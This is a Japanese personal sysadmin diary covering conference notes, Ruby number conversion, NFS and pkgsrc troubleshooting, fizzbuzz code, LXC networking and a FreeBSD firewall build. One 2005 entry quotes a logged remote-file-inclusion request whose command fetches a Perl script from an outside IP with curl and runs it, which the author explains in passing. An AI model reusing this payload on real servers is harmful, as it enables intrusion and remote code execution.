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屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2004-12-02(Thu) IP Meeting2004、その他

地下鉄桜木町

から新横浜を経てのぞみ。AIR Hは遅いが切れない。

パネルディスカッションは

寝たり起きたりしながら聞いたり聞かなかったり。もともとコアレスな ネットワーク(の集合同士)の求心力と遠心力の相克...意味不明。
ともかく、まだまだ混乱しながら変化、発展してゆく模様。

基調講演は

あちこちに飛び跳ねていた。
ほんとに"Dependable"なんだろうか。脈絡のない話から無邪気な期待感が 伝わって来た。

昼食後に撮影した写真で

一Get。
う〜む。もう少し大きい写真を置きたいものだ。

朝から

濃い話が続く。自分的にはDNS、そしてIPネットワーク(流石に勉強不足)、 次いで地域インターネットの話が面白かった。総論、概説的な話は、自分の 見聞きしていたことと大きくは違わない。細部まで理解していた訳では もちろんないが。


2005-12-02(Fri) もうひとつ

Y! のuser-agent

Yahoo! Japanの 独自のクローラもある、とのことである。
URLはログに書き残されていた。

自宅の

ネットワーク環境のページを加筆。
一部を別ページに分離。
舌をもっと伸ばせ、である。

今度はmmmか。

// 211.185.193.2から
"GET //bbs/skin/zero_vote/error.php?dir=http://210\
.178.111.65/fbi.gif?&cmd=cd%20/tmp;curl%20-O%20210\
.178.111.65/mmm;perl%20mmm HTTP/1.1"

error.phpの引数に、あらぬところのfbi.gifとか を読み込ませている。
fbi.gifとかいうファイルはphpスクリプトだった。 後は何回か出た、curl(1)でリモートのmmm (これはperlスクリプト)を/tmpにダウンロードし、 実行(する筈。404だったし、試す気になれない)。

ルータの

脆弱性情報がMLに届いた。
httpサーバ(管理用途と見える)の脆弱性により、 XSS等の攻撃が可能かもしれない、でいいのか?

今のところ触る機会もないから、Workaroundを 少し見ただけ。で放置。

> enable
(ry
# config terminal
(config)# no ip http server
(config)# no ip http secure-server
# copy running-config startup-config

2006-12-02(Sat) 眠い。渇いた

scim-rubyで気楽に数値変換

十進→二進の計算なんて七面倒。つーか、何度覚え(た つもり でい)てもすぐ忘れる...orz

sprinf("%#b", 109903493)   # 適当な数字
 => 0b110100011001111111010000101

長すぎ。もっと簡単に逝きたいもんだ。

1099034393.to_s(2) 
 => 110100011001111111010000101

二進→十進もついでに。

sprintf("%#d", 0b101001010)
 => #330
0b101001010.to_s(10)
 => 330

てっぺんに"0x"、"0o"をつければ、16進とか8進もできるはず。
それから、".to_s(28)"なんてのもできちゃう(逆はどうするのだろ)。

sprintf("%#x", 0b11111111)
 => 0xff
0o1347543.to_s(2)
 => 1011100111101100011
0xac1398d.to_s(19)
 => 3fga6gh

おまけ。

(253*427).to_s(16)
 => 1a5ff

落書き色々

"scim-ruby"と何度も書き足せば、ページランクが一時的にあがるかも。

Time.new.yday # 今年の何日目? 
 => 336
Time.mktime(2001, 5, 16).strftime("%A") # 2001/5/16は何曜日?
 => Wednesday

to_sでは位取りは2-36が可能らしい。数字に転用できる記号がa-zの26種類だからだろうか。
ところで、これは何?

3934.to_s(a)
 => 8j7
 
$ ruby -e "p 3934.to_s(a)"
-e:1: undefined local variable or method `a' for main:Object (NameError)

Vineにも入れようか

と考えてiMacの電源を入れる。 Vineのサイトを斜めに見ながら、攫ったSPECファイルを適当に書き換える。
何もしなくてもmakeが通るけど、installの処理を考えるあたりで気力消尽。こっちは結局逝けなかった。

to do sync or not to do async

Plamo-4.2のnfsサーバにしばらく嵌められる。
JFのNFS-HOWTOを流し読みしながらあれこれコマンドを叩きまくった。
結局、/etc/exports のOptionに"sync"か"rsync"かを書かないと mountできなかった。さしあたりはsync。

$ cat /etc/exports
/path/export *.domain(rw,anonuid=uid,anongid=gid,sync)

Tips。
/etc/exportsを書き換えたら exportfs -ra。
ずっとPIDをちまちまkillしていたのだ。

終わりなき

インストロール。
Noteのディスクを取り換えて、Plamo-4.21を入れた。まずinetdを切り、sshdをstandaloneで立ち上げる。
以後リモート。起動時のうんぬんかんなんをいっぱい消す。
真っ先にscreenを入れる。あとはnfsしたデスクトップからmake install していこうか。

徐々に デブに侵されてきたようだ。


2007-12-02(Sun) 一日遅れたが

もうおひきとりか

DHCP鯖が死んでいた。 復旧まで、とりあえずは固定で。さしあたりは前鯖に戻す。

すっと固定に変更できないような環境もあるのだろうか。
Network Managerはマシンの起動時でないとうまく働かないとかなんとか。
IPアドレスをかえたらリブート、なんてWin95じゃあるまいし。


2008-12-02(Tue) はれ

6.4にpkgsrc

の安定版を頂戴して、試す。
bootstrap のエラーについては の通りに対応。基本コマンドのフルパス決め打ちに起因するエラーも適当に処理。

opensshを入れてみたら、"PRE-INSTALL script" とかでひっかかった。
専用ユーザ、グループが必要らしいが、それが無くても(事前に用意はしていない)、 "Error code 1\n\nStop." 有っても("to be created" に従って groupadd sshd; useradd -g sshd -m -d /var/chroot/sshd -s /bin/false sshd してやっても)同様。

なんかめんどくさいな。

既出気味な気がするが、kermit をbmake しようとすると、"ACCEPTABLE_LICENSES+=kermit-license" をmk.conf に追記せよと言われた。

x11-links-0.41

lfsにpackageをインストールして色々やってみたが、 ここで止まるようだ。

# bmake
(ry
ERROR: This package has set PKG=FAIL=REASON:
ERROR: x11-links-0.41 requires X headers to be installed
*** Error code 1
(ry

ちなみに、 x11-links のビルドや起動に、依存するものはないはずなんだけど。
システムがあらかじめ持ってるという前提なんだろうか。 perl まで自分で入れてしまっているのだけど。

本日のツッコミ(全5件) [ツッコミを入れる]

Before...

kuzu [どこだか覚えてないのですが(汗、一度何かの処理で、/usr/bin/find が not found なために中断し..]

obache [ツールのパスは mk/tools/tools.Linux.mk にかかれてます。 TOOLS_PLATFORM.fi..]

kuzu [コメントありがとうございます。 このあたりもいじってみます。]


2012-12-02(Sun) 夕方一時雨。その後晴れて、えらく寒かった

15の倍数への処理を省略したfizzbuzz

どこかで聞いていたが、それも省略。
なんとかpython2.6 以上(手元にあるのは2.7.3と3.2.3)で 動くようにできた。はずだ。

from __future__ import print_function
for num in range(1,101):
  if(not num%3):
    print('fizz', end='')
  if(not num%5):
    print('buzz', end='')
  if(num%5 and num%3):
    print(num, end='')
  print('')

Cで書いても、大して違わなかった。
演算子の優先順位( "%" は "!" より優先度が低い ( 参考1))に嵌った程度 (python の "%" は、"and" や "not" より上 参考2)。

#include<stdio.h>
int main()
{
  int x;
  for(x=1; x < 101; x++) {
    if(! (x%3)) printf("fizz");
    if(! (x%5)) printf("buzz");
    if(x%3 &&  x%5) printf("%d", x);
    printf("\n");
  }
  return 0;
}

switch ... case 文で書けないかと思ったが、case には論理値は 書けないっぽい("エラー: case ラベルを整数定数に還元できません"と 叱られる)。旨い解決策が浮かばないので、ここまで。


2013-12-02(Mon) 寒すぎたり熱すぎたり

今度はLinuxロゴで

Penguin Skelton

mathematica + 昨日のフィルタ。
20分弱くらいの時間で完了した。ついでに別環境で縮小。
Linux kernel-3.12.1 に添付している ロゴで、 たぶん元画像

ついでにEmacsのロゴも。

EmacsLogo Skelton

12分程度かかった。
元画像 と、その ダウンロード元

空白

それだけ


2015-12-02(Wed) 摂氏6度の快晴の下、傘をひっさげて

VNCぐるぐる

Windows10にUltraVNCを入れてみた。さしあたりはクライアントだけ。
複数のVNCで接続すると、同じ画面が複数出て、同時に描画が更新される。
動画やゲームなどまでスムースかどうかは。

ついでにLXC

Debian上で色々。
参考にしたドキュメントは LinuxコンテナとLXC入門と Debian Wikiの LXC、そして同じく LXC SimpleBridge

$ sudo apt-get install bridge-utils lxc
$ sudo lxc-create  \
       -t download \
       -n $NEWCONTAINER  \
    -- -d debian   \
       -r jessie   \
       -a i386

ダウンロードが終わるのを待って、

$ sudo lxc-start -n  $NEWCONTAINER -d
$ sudo lxc-attach -n $NEWCONTAINER

Debian jessie のLXCではデフォルトでアタッチしてしまう。
まずは -d スイッチでデーモンモード、そしてアタッチする。

ただしこれだけではネットワークがない(Ubuntuでは自動で色々 やってくれていた)。

$ sed -n  '/^$\|^#/! p' /etc/network/interfaces
source /etc/network/interfaces.d/*
auto lo
iface lo inet loopback
auto br0
iface br0 inet dhcp
  bridge_ports eth0
  bridge_fd 0
  bridge_maxwait 0
 
$ sudo  awk '! /^#/ && !/^$/ {print}'  config
lxc.include = /usr/share/lxc/config/debian.common.conf
lxc.arch = x86
lxc.rootfs = /var/lib/lxc/$NEWCONTAINER/rootfs
lxc.utsname = $NEWCONTAINER
lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = br0
lxc.network.hwaddr = 00:FF:AA:00:00:02

これでホスト同様、外とじかに繋がるようになった。
ubuntuのデフォルトはNATだった。

そして、ホスト起動時のコンテナ自動起動。

$ sudo ln -s /var/lib/lxc/$NEWCONTAINER/config /etc/lxc/auto/$NEWCONTAINER
$ sudo sh -c "echo lxc.start.auto = 1 >> /var/lib/lxc/$NEWCONTAINER/config

コマンドはすべて日本語訳されていた。翻訳者に感謝。
あとは権限分離か。Ubuntuでは比較的楽にできたが、Debian はどうか。

localhostへのpingさえデフォルトでブロック

するRaspberryPiのFreeBSD-11-CURRENTのイメージができた。

$ uname -a
FreeBSD raspberry-pi 11.0-CURRENT \
FreeBSD 11.0-CURRENT #0 r291624: \
Wed Dec  2 14:06:55 JST 2015     \
root@$HOST:/$DIR/arm.armv6/usr/pi/src/sys/RPI-B_MINE  arm
/usr/src/sys/arm/conf]$ diff RPI-B RPI-B_MINE 
21c21
< ident         RPI-B
---
> ident         RPI-B_MINE
111a112,122
> 
> 
> options    IPFIREWALL
> options    IPFIREWALL_VERBOSE
> options    IPFIREWALL_VERBOSE_LIMIT=5
> options    IPFIREWALL_DEFAULT_TO_ACCEPT
> 
> options IPFILTER
> options IPFILTER_LOG
> options IPFILTER_LOOKUP
> options IPFILTER_DEFAULT_BLOCK

sudo ipf -D で素通しになった。


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